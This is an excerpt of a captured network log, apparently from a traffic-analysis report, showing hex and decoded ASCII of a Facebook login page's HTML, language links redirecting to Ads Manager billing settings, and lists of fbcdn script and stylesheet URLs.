2023-05-28 08:43:48 UTC	2077	IN	Data Raw: 6c 6f 67 69 6e 22 20 74 61 62 69 6e 64 65 78 3d 22 30 22 20 74 79 70 65 3d 22 73 75 62 6d 69 74 22 3e 4c 6f 67 20 49 6e 3c 2f 62 75 74 74 6f 6e 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 5f 78 6b 76 20 66 73 6d 20 66 77 6e 20 66 63 67 22 20 69 64 3d 22 6c 6f 67 69 6e 5f 6c 69 6e 6b 22 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 2f 72 65 63 6f 76 65 72 2f 69 6e 69 74 69 61 74 65 2f 3f 61 72 73 3d 66 61 63 65 62 6f 6f 6b 5f 6c 6f 67 69 6e 22 20 63 6c 61 73 73 3d 22 5f 39 37 77 34 22 20 74 61 72 67 65 74 3d 22 22 3e 46 6f 72 67 6f 74 20 61 63 63 6f 75 6e 74 3f 3c 2f 61 3e 3c 73 70 61 6e 20 72 6f 6c 65 3d 22 70 72 65 73 65 6e 74 61 74 69 6f 6e 22 20 61 72 69 61 2d 68 69 64 64 65 6e 3d 22 Data Ascii: login" tabindex="0" type="submit">Log In</button></div><div class="_xkv fsm fwn fcg" id="login_link"><a href="https://www.facebook.com/recover/initiate/?ars=facebook_login" class="_97w4" target="">Forgot account?</a><span role="presentation" aria-hidden="
2023-05-28 08:43:48 UTC	2078	IN	Data Raw: 3d 22 5f 73 76 34 22 20 64 69 72 3d 22 6c 74 72 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 64 65 2d 64 65 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 2f 6c 6f 67 69 6e 2e 70 68 70 3f 6e 65 78 74 3d 68 74 74 70 73 25 33 41 25 32 46 25 32 46 61 64 73 6d 61 6e 61 67 65 72 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 25 32 46 61 64 73 25 32 46 6d 61 6e 61 67 65 72 25 32 46 61 63 63 6f 75 6e 74 5f 73 65 74 74 69 6e 67 73 25 32 46 61 63 63 6f 75 6e 74 5f 62 69 6c 6c 69 6e 67 25 32 46 22 20 6f 6e 63 6c 69 63 6b 3d 22 72 65 71 75 69 72 65 28 26 71 75 6f 74 3b 49 6e 74 6c 55 74 69 6c 73 26 71 75 6f 74 3b 29 2e 73 65 74 43 6f 6f 6b 69 65 4c 6f 63 61 6c 65 28 26 71 75 6f 74 3b 64 65 5f 44 45 26 71 75 6f 74 3b 2c 20 26 71 75 6f 74 3b 65 6e 5f 55 53 26 71 75 6f 74 3b 2c 20 Data Ascii: ="_sv4" dir="ltr" href="https://de-de.facebook.com/login.php?next=https%3A%2F%2Fadsmanager.facebook.com%2Fads%2Fmanager%2Faccount_settings%2Faccount_billing%2F" onclick="require("IntlUtils").setCookieLocale("de_DE", "en_US",
2023-05-28 08:43:48 UTC	2080	IN	Data Raw: 73 65 74 74 69 6e 67 73 5c 75 30 30 32 35 32 46 61 63 63 6f 75 6e 74 5f 62 69 6c 6c 69 6e 67 5c 75 30 30 32 35 32 46 26 71 75 6f 74 3b 2c 20 26 71 75 6f 74 3b 77 77 77 5f 6c 69 73 74 5f 73 65 6c 65 63 74 6f 72 26 71 75 6f 74 3b 2c 20 32 29 3b 20 72 65 74 75 72 6e 20 66 61 6c 73 65 3b 22 20 74 69 74 6c 65 3d 22 49 74 61 6c 69 61 6e 22 3e 49 74 61 6c 69 61 6e 6f 3c 2f 61 3e 3c 2f 6c 69 3e 3c 6c 69 3e 3c 61 20 63 6c 61 73 73 3d 22 5f 73 76 34 22 20 64 69 72 3d 22 6c 74 72 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 70 74 2d 70 74 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 2f 6c 6f 67 69 6e 2e 70 68 70 3f 6e 65 78 74 3d 68 74 74 70 73 25 33 41 25 32 46 25 32 46 61 64 73 6d 61 6e 61 67 65 72 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 25 32 46 61 64 73 25 32 46 6d Data Ascii: settings\u00252Faccount_billing\u00252F", "www_list_selector", 2); return false;" title="Italian">Italiano</a></li><li><a class="_sv4" dir="ltr" href="https://pt-pt.facebook.com/login.php?next=https%3A%2F%2Fadsmanager.facebook.com%2Fads%2Fm
2023-05-28 08:43:48 UTC	2081	IN	Data Raw: 75 6f 74 3b 2c 20 26 71 75 6f 74 3b 68 74 74 70 73 3a 5c 2f 5c 2f 65 73 2d 6c 61 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 5c 2f 6c 6f 67 69 6e 2e 70 68 70 3f 6e 65 78 74 3d 68 74 74 70 73 5c 75 30 30 32 35 33 41 5c 75 30 30 32 35 32 46 5c 75 30 30 32 35 32 46 61 64 73 6d 61 6e 61 67 65 72 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 5c 75 30 30 32 35 32 46 61 64 73 5c 75 30 30 32 35 32 46 6d 61 6e 61 67 65 72 5c 75 30 30 32 35 32 46 61 63 63 6f 75 6e 74 5f 73 65 74 74 69 6e 67 73 5c 75 30 30 32 35 32 46 61 63 63 6f 75 6e 74 5f 62 69 6c 6c 69 6e 67 5c 75 30 30 32 35 32 46 26 71 75 6f 74 3b 2c 20 26 71 75 6f 74 3b 77 77 77 5f 6c 69 73 74 5f 73 65 6c 65 63 74 6f 72 26 71 75 6f 74 3b 2c 20 35 29 3b 20 72 65 74 75 72 6e 20 66 61 6c 73 65 3b 22 20 74 69 74 6c 65 3d 22 Data Ascii: uot;, "https:\/\/es-la.facebook.com\/login.php?next=https\u00253A\u00252F\u00252Fadsmanager.facebook.com\u00252Fads\u00252Fmanager\u00252Faccount_settings\u00252Faccount_billing\u00252F", "www_list_selector", 5); return false;" title="
2023-05-28 08:43:48 UTC	2083	IN	Data Raw: 72 25 32 46 61 63 63 6f 75 6e 74 5f 73 65 74 74 69 6e 67 73 25 32 46 61 63 63 6f 75 6e 74 5f 62 69 6c 6c 69 6e 67 25 32 46 22 20 6f 6e 63 6c 69 63 6b 3d 22 72 65 71 75 69 72 65 28 26 71 75 6f 74 3b 49 6e 74 6c 55 74 69 6c 73 26 71 75 6f 74 3b 29 2e 73 65 74 43 6f 6f 6b 69 65 4c 6f 63 61 6c 65 28 26 71 75 6f 74 3b 68 69 5f 49 4e 26 71 75 6f 74 3b 2c 20 26 71 75 6f 74 3b 65 6e 5f 55 53 26 71 75 6f 74 3b 2c 20 26 71 75 6f 74 3b 68 74 74 70 73 3a 5c 2f 5c 2f 68 69 2d 69 6e 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 5c 2f 6c 6f 67 69 6e 2e 70 68 70 3f 6e 65 78 74 3d 68 74 74 70 73 5c 75 30 30 32 35 33 41 5c 75 30 30 32 35 32 46 5c 75 30 30 32 35 32 46 61 64 73 6d 61 6e 61 67 65 72 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 5c 75 30 30 32 35 32 46 61 64 73 5c 75 30 30 Data Ascii: r%2Faccount_settings%2Faccount_billing%2F" onclick="require("IntlUtils").setCookieLocale("hi_IN", "en_US", "https:\/\/hi-in.facebook.com\/login.php?next=https\u00253A\u00252F\u00252Fadsmanager.facebook.com\u00252Fads\u00
2023-05-28 08:43:48 UTC	2084	IN	Data Raw: 6e 6b 73 22 3e 3c 75 6c 20 63 6c 61 73 73 3d 22 75 69 4c 69 73 74 20 70 61 67 65 46 6f 6f 74 65 72 4c 69 6e 6b 4c 69 73 74 20 5f 35 30 39 2d 20 5f 34 6b 69 20 5f 37 30 33 20 5f 36 2d 69 22 3e 3c 6c 69 3e 3c 61 20 68 72 65 66 3d 22 2f 72 65 67 2f 22 20 74 69 74 6c 65 3d 22 53 69 67 6e 20 55 70 20 66 6f 72 20 46 61 63 65 62 6f 6f 6b 22 3e 53 69 67 6e 20 55 70 3c 2f 61 3e 3c 2f 6c 69 3e 3c 6c 69 3e 3c 61 20 68 72 65 66 3d 22 2f 6c 6f 67 69 6e 2f 22 20 74 69 74 6c 65 3d 22 4c 6f 67 20 69 6e 74 6f 20 46 61 63 65 62 6f 6f 6b 22 3e 4c 6f 67 20 49 6e 3c 2f 61 3e 3c 2f 6c 69 3e 3c 6c 69 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 6d 65 73 73 65 6e 67 65 72 2e 63 6f 6d 2f 22 20 74 69 74 6c 65 3d 22 43 68 65 63 6b 20 6f 75 74 20 4d 65 73 73 65 6e 67 65 72 Data Ascii: nks"><ul class="uiList pageFooterLinkList _509- _4ki _703 _6-i"><li><a href="/reg/" title="Sign Up for Facebook">Sign Up</a></li><li><a href="/login/" title="Log into Facebook">Log In</a></li><li><a href="https://messenger.com/" title="Check out Messenger
2023-05-28 08:43:48 UTC	2086	IN	Data Raw: 65 63 74 6f 72 79 2e 22 3e 53 65 72 76 69 63 65 73 3c 2f 61 3e 3c 2f 6c 69 3e 3c 6c 69 3e 3c 61 20 68 72 65 66 3d 22 2f 76 6f 74 69 6e 67 69 6e 66 6f 72 6d 61 74 69 6f 6e 63 65 6e 74 65 72 2f 3f 65 6e 74 72 79 5f 70 6f 69 6e 74 3d 63 32 6c 30 5a 51 25 33 44 25 33 44 22 20 74 69 74 6c 65 3d 22 53 65 65 20 74 68 65 20 56 6f 74 69 6e 67 20 49 6e 66 6f 72 6d 61 74 69 6f 6e 20 43 65 6e 74 65 72 2e 22 3e 56 6f 74 69 6e 67 20 49 6e 66 6f 72 6d 61 74 69 6f 6e 20 43 65 6e 74 65 72 3c 2f 61 3e 3c 2f 6c 69 3e 3c 6c 69 3e 3c 61 20 68 72 65 66 3d 22 2f 70 72 69 76 61 63 79 2f 70 6f 6c 69 63 79 2f 3f 65 6e 74 72 79 5f 70 6f 69 6e 74 3d 66 61 63 65 62 6f 6f 6b 5f 70 61 67 65 5f 66 6f 6f 74 65 72 22 20 74 69 74 6c 65 3d 22 4c 65 61 72 6e 20 68 6f 77 20 77 65 20 63 6f 6c Data Ascii: ectory.">Services</a></li><li><a href="/votinginformationcenter/?entry_point=c2l0ZQ%3D%3D" title="See the Voting Information Center.">Voting Information Center</a></li><li><a href="/privacy/policy/?entry_point=facebook_page_footer" title="Learn how we col
2023-05-28 08:43:48 UTC	2087	IN	Data Raw: 65 73 3d 22 31 22 20 68 72 65 66 3d 22 2f 70 6f 6c 69 63 69 65 73 3f 72 65 66 3d 70 66 22 20 61 63 63 65 73 73 6b 65 79 3d 22 39 22 20 74 69 74 6c 65 3d 22 52 65 76 69 65 77 20 6f 75 72 20 74 65 72 6d 73 20 61 6e 64 20 70 6f 6c 69 63 69 65 73 2e 22 3e 54 65 72 6d 73 3c 2f 61 3e 3c 2f 6c 69 3e 3c 6c 69 3e 3c 61 20 68 72 65 66 3d 22 2f 68 65 6c 70 2f 3f 72 65 66 3d 70 66 22 20 61 63 63 65 73 73 6b 65 79 3d 22 30 22 20 74 69 74 6c 65 3d 22 56 69 73 69 74 20 6f 75 72 20 48 65 6c 70 20 43 65 6e 74 65 72 2e 22 3e 48 65 6c 70 3c 2f 61 3e 3c 2f 6c 69 3e 3c 6c 69 3e 3c 61 20 68 72 65 66 3d 22 68 65 6c 70 2f 36 33 37 32 30 35 30 32 30 38 37 38 35 30 34 22 20 74 69 74 6c 65 3d 22 56 69 73 69 74 20 6f 75 72 20 43 6f 6e 74 61 63 74 20 55 70 6c 6f 61 64 69 6e 67 20 26 Data Ascii: es="1" href="/policies?ref=pf" accesskey="9" title="Review our terms and policies.">Terms</a></li><li><a href="/help/?ref=pf" accesskey="0" title="Visit our Help Center.">Help</a></li><li><a href="help/637205020878504" title="Visit our Contact Uploading &
2023-05-28 08:43:48 UTC	2089	IN	Data Raw: 72 65 73 75 6c 74 22 3a 66 61 6c 73 65 2c 22 68 61 73 68 22 3a 22 41 54 36 65 53 35 55 54 6b 6b 4d 70 5f 78 62 50 72 65 49 22 7d 2c 22 33 38 33 31 22 3a 7b 22 72 65 73 75 6c 74 22 3a 66 61 6c 73 65 2c 22 68 61 73 68 22 3a 22 41 54 34 57 32 33 6c 51 30 58 78 41 5a 6e 69 4d 4a 33 4d 22 7d 2c 22 34 30 37 35 22 3a 7b 22 72 65 73 75 6c 74 22 3a 66 61 6c 73 65 2c 22 68 61 73 68 22 3a 22 41 54 34 5f 5a 51 69 30 73 54 6a 53 74 2d 52 78 50 4e 77 22 7d 2c 22 38 31 32 36 22 3a 7b 22 72 65 73 75 6c 74 22 3a 66 61 6c 73 65 2c 22 68 61 73 68 22 3a 22 41 54 34 55 37 71 47 30 36 70 39 73 46 36 75 38 34 4a 59 22 7d 2c 22 31 32 31 37 31 35 37 22 3a 7b 22 72 65 73 75 6c 74 22 3a 66 61 6c 73 65 2c 22 68 61 73 68 22 3a 22 41 54 36 42 37 59 6d 6c 6c 4f 73 41 72 6e 4b 36 5f 52 Data Ascii: result":false,"hash":"AT6eS5UTkkMp_xbPreI"},"3831":{"result":false,"hash":"AT4W23lQ0XxAZniMJ3M"},"4075":{"result":false,"hash":"AT4_ZQi0sTjSt-RxPNw"},"8126":{"result":false,"hash":"AT4U7qG06p9sF6u84JY"},"1217157":{"result":false,"hash":"AT6B7YmllOsArnK6_R
2023-05-28 08:43:48 UTC	2090	IN	Data Raw: 76 33 69 58 59 38 34 5c 2f 79 55 5c 2f 6c 5c 2f 65 6e 5f 55 53 5c 2f 6b 55 50 7a 39 52 2d 4f 78 5f 73 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 66 6e 78 50 67 77 5c 2f 22 3a 7b 22 74 79 70 65 22 3a 22 6a 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 5c 2f 79 41 5c 2f 72 5c 2f 6a 62 77 5a 4f 69 49 72 51 55 49 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 39 4e 4d 46 2b 71 78 22 3a 7b 22 74 79 70 65 22 3a 22 6a 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 Data Ascii: v3iXY84\/yU\/l\/en_US\/kUPz9R-Ox_s.js?_nc_x=Ij3Wp8lg5Kz","nc":1},"fnxPgw\/":{"type":"js","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3\/yA\/r\/jbwZOiIrQUI.js?_nc_x=Ij3Wp8lg5Kz","nc":1},"9NMF+qx":{"type":"js","src":"https:\/\/static.xx.fbcdn.net\/rsrc
2023-05-28 08:43:48 UTC	2092	IN	Data Raw: 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 5c 2f 79 74 5c 2f 72 5c 2f 76 37 35 4d 37 43 50 75 39 2d 50 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 64 41 57 4e 5a 5c 2f 73 22 3a 7b 22 74 79 70 65 22 3a 22 6a 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 5c 2f 79 78 5c 2f 72 5c 2f 58 39 45 6a 6a 4e 79 4e 44 39 43 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 50 32 7a 6c 6b 5c 2f 79 22 3a 7b 22 74 79 70 65 22 3a 22 6a 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f Data Ascii: net\/rsrc.php\/v3\/yt\/r\/v75M7CPu9-P.js?_nc_x=Ij3Wp8lg5Kz","nc":1},"dAWNZ\/s":{"type":"js","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3\/yx\/r\/X9EjjNyND9C.js?_nc_x=Ij3Wp8lg5Kz","nc":1},"P2zlk\/y":{"type":"js","src":"https:\/\/static.xx.fbcdn.net\/
2023-05-28 08:43:48 UTC	2093	IN	Data Raw: 22 3a 22 6a 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 5c 2f 79 6f 5c 2f 72 5c 2f 68 75 50 64 4b 5a 63 44 77 42 77 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 6a 6e 59 4f 4b 6e 5a 22 3a 7b 22 74 79 70 65 22 3a 22 6a 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 69 77 68 36 34 5c 2f 79 7a 5c 2f 6c 5c 2f 65 6e 5f 55 53 5c 2f 72 46 51 72 32 36 79 44 4b 4f 71 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 2b 68 54 63 42 50 4f 22 3a 7b Data Ascii: ":"js","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3\/yo\/r\/huPdKZcDwBw.js?_nc_x=Ij3Wp8lg5Kz","nc":1},"jnYOKnZ":{"type":"js","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3iwh64\/yz\/l\/en_US\/rFQr26yDKOq.js?_nc_x=Ij3Wp8lg5Kz","nc":1},"+hTcBPO":{
2023-05-28 08:43:48 UTC	2095	IN	Data Raw: 43 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 77 50 39 53 72 58 54 22 3a 7b 22 74 79 70 65 22 3a 22 63 73 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 5c 2f 79 34 5c 2f 6c 5c 2f 30 2c 63 72 6f 73 73 5c 2f 47 33 31 35 41 2d 45 78 57 64 36 2e 63 73 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 70 45 52 71 32 6e 71 22 3a 7b 22 74 79 70 65 22 3a 22 63 73 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 5c 2f 79 79 5c 2f 6c 5c 2f 30 2c 63 72 6f Data Ascii: C.js?_nc_x=Ij3Wp8lg5Kz","nc":1},"wP9SrXT":{"type":"css","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3\/y4\/l\/0,cross\/G315A-ExWd6.css?_nc_x=Ij3Wp8lg5Kz","nc":1},"pERq2nq":{"type":"css","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3\/yy\/l\/0,cro
2023-05-28 08:43:48 UTC	2096	IN	Data Raw: 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 69 54 51 79 34 5c 2f 79 52 5c 2f 6c 5c 2f 65 6e 5f 55 53 5c 2f 56 42 33 52 43 41 56 44 63 68 41 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 6b 4f 45 48 76 70 75 22 3a 7b 22 74 79 70 65 22 3a 22 6a 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 5c 2f 79 70 5c 2f 72 5c 2f 70 36 70 46 34 6e 64 6d 57 4a 34 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 31 69 30 51 5c 2f 34 46 22 3a 7b 22 74 79 70 65 22 3a 22 6a 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f Data Ascii: .xx.fbcdn.net\/rsrc.php\/v3iTQy4\/yR\/l\/en_US\/VB3RCAVDchA.js?_nc_x=Ij3Wp8lg5Kz","nc":1},"kOEHvpu":{"type":"js","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3\/yp\/r\/p6pF4ndmWJ4.js?_nc_x=Ij3Wp8lg5Kz","nc":1},"1i0Q\/4F":{"type":"js","src":"https:\/\/
2023-05-28 08:43:48 UTC	2097	IN	Data Raw: 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 2b 57 4c 4f 30 34 6e 22 3a 7b 22 74 79 70 65 22 3a 22 6a 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 5c 2f 79 43 5c 2f 72 5c 2f 32 47 79 44 51 50 55 77 45 49 4c 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 70 5c 2f 34 6c 56 39 51 22 3a 7b 22 74 79 70 65 22 3a 22 63 73 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 5c 2f 79 48 5c 2f 6c 5c 2f 30 2c 63 72 6f 73 73 5c 2f 78 56 51 6e 30 55 6c 34 75 43 75 2e 63 73 73 3f 5f 6e 63 5f 78 3d 49 Data Ascii: lg5Kz","nc":1},"+WLO04n":{"type":"js","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3\/yC\/r\/2GyDQPUwEIL.js?_nc_x=Ij3Wp8lg5Kz","nc":1},"p\/4lV9Q":{"type":"css","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3\/yH\/l\/0,cross\/xVQn0Ul4uCu.css?_nc_x=I
2023-05-28 08:43:48 UTC	2099	IN	Data Raw: 72 73 72 63 2e 70 68 70 5c 2f 76 33 5c 2f 79 53 5c 2f 72 5c 2f 72 4f 35 4f 58 36 56 77 45 32 50 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 65 4e 53 67 44 73 57 22 3a 7b 22 74 79 70 65 22 3a 22 63 73 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 5c 2f 79 42 5c 2f 6c 5c 2f 30 2c 63 72 6f 73 73 5c 2f 67 69 67 31 5f 61 52 54 62 68 54 2e 63 73 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 7a 72 31 53 34 50 44 22 3a 7b 22 74 79 70 65 22 3a 22 6a 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e Data Ascii: rsrc.php\/v3\/yS\/r\/rO5OX6VwE2P.js?_nc_x=Ij3Wp8lg5Kz","nc":1},"eNSgDsW":{"type":"css","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3\/yB\/l\/0,cross\/gig1_aRTbhT.css?_nc_x=Ij3Wp8lg5Kz","nc":1},"zr1S4PD":{"type":"js","src":"https:\/\/static.xx.fbcdn.n
2023-05-28 08:43:48 UTC	2100	IN	Data Raw: 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 34 4d 39 4d 57 4e 67 22 3a 7b 22 74 79 70 65 22 3a 22 6a 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 5c 2f 79 69 5c 2f 72 5c 2f 57 77 61 44 46 77 69 78 44 66 4c 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 67 57 4d 4a 67 54 65 22 3a 7b 22 74 79 70 65 22 3a 22 6a 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 5c 2f 79 48 5c 2f 72 5c 2f 69 47 6b 73 70 36 39 66 6f 52 5f 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 Data Ascii: 3Wp8lg5Kz","nc":1},"4M9MWNg":{"type":"js","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3\/yi\/r\/WwaDFwixDfL.js?_nc_x=Ij3Wp8lg5Kz","nc":1},"gWMJgTe":{"type":"js","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3\/yH\/r\/iGksp69foR_.js?_nc_x=Ij3Wp8lg5
2023-05-28 08:43:48 UTC	2102	IN	Data Raw: 5c 2f 30 2d 78 70 6f 75 62 65 79 66 63 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 6f 45 34 44 6f 66 54 22 3a 7b 22 74 79 70 65 22 3a 22 6a 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 5c 2f 79 4a 5c 2f 72 5c 2f 45 65 6a 41 67 6e 48 55 61 64 34 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 56 68 71 75 4e 56 6c 22 3a 7b 22 74 79 70 65 22 3a 22 6a 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 5c 2f 79 70 5c 2f 72 5c 2f 34 56 47 49 57 Data Ascii: \/0-xpoubeyfc.js?_nc_x=Ij3Wp8lg5Kz","nc":1},"oE4DofT":{"type":"js","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3\/yJ\/r\/EejAgnHUad4.js?_nc_x=Ij3Wp8lg5Kz","nc":1},"VhquNVl":{"type":"js","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3\/yp\/r\/4VGIW
2023-05-28 08:43:48 UTC	2103	IN	Data Raw: 65 62 53 70 65 65 64 49 6e 74 65 72 61 63 74 69 6f 6e 73 54 79 70 65 64 4c 6f 67 67 65 72 22 3a 7b 22 72 22 3a 5b 22 69 71 61 4e 64 37 76 22 2c 22 37 5a 37 73 79 33 6c 22 2c 22 33 63 7a 38 47 65 70 22 5d 2c 22 62 65 22 3a 31 7d 2c 22 41 73 79 6e 63 52 65 71 75 65 73 74 22 3a 7b 22 72 22 3a 5b 22 4c 66 46 65 36 6b 71 22 2c 22 39 4e 4d 46 2b 71 78 22 2c 22 73 34 57 30 58 46 5c 2f 22 2c 22 4f 4c 55 6e 71 7a 41 22 2c 22 39 4d 6f 67 77 72 54 22 2c 22 37 5a 37 73 79 33 6c 22 2c 22 6d 64 58 79 55 44 4c 22 5d 2c 22 72 64 73 22 3a 7b 22 6d 22 3a 5b 22 46 62 74 4c 6f 67 67 69 6e 67 22 2c 22 49 6e 74 6c 51 74 45 76 65 6e 74 46 61 6c 63 6f 45 76 65 6e 74 22 5d 2c 22 72 22 3a 5b 22 33 63 7a 38 47 65 70 22 5d 7d 2c 22 62 65 22 3a 31 7d 2c 22 44 4f 4d 22 3a 7b 22 72 22 Data Ascii: 